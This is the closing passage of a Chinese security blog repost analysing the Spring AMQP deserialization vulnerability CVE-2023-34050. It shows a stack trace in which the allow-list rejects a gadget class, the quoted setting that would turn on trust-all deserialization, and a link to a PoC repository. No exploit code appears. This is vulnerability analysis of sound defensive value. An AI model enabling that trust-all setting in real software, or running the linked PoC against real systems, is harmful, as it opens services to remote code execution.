at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.mainLoop(SimpleMessageListenerContainer.java:1323) [spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.run(SimpleMessageListenerContainer.java:1225) [spring-rabbit-2.4.17.jar:2.4.17]
at java.lang.Thread.run(Thread.java:750) [na:1.8.0_362]
Caused by: java.lang.SecurityException: Attempt to deserialize unauthorized class javax.management.BadAttributeValueExpException; add allowed class name patterns to the message converter or, if you trust the message orginiator, set environment variable 'SPRING_AMQP_DESERIALIZATION_TRUST_ALL' or system property 'spring.amqp.deserialization.trust.all' to true
at org.springframework.amqp.utils.SerializationUtils.checkAllowedList(SerializationUtils.java:164) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.AllowedListDeserializingMessageConverter.checkAllowedList(AllowedListDeserializingMessageConverter.java:61) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.SimpleMessageConverter$1.resolveClass(SimpleMessageConverter.java:184) ~[spring-amqp-2.4.17.jar:2.4.17]
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1988) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1852) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2186) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_362]
at org.springframework.amqp.utils.SerializationUtils.deserialize(SerializationUtils.java:101) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.SimpleMessageConverter.fromMessage(SimpleMessageConverter.java:113) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.AbstractAdaptableMessageListener.extractMessage(AbstractAdaptableMessageListener.java:343) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter$MessagingMessageConverterAdapter.extractPayload(MessagingMessageListenerAdapter.java:367) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.MessagingMessageConverter.fromMessage(MessagingMessageConverter.java:132) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.toMessagingMessage(MessagingMessageListenerAdapter.java:244) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:147) ~[spring-rabbit-2.4.17.jar:2.4.17]
... 11 common frames omitted

PoC

https://github.com/X1r0z/spring-amqp-deserialization

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日22:20:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring AMQP 反序列化漏洞 (CVE-2023-34050) 分析https://cn-sec.com/archives/2304702.html

发表评论

匿名网友 填写信息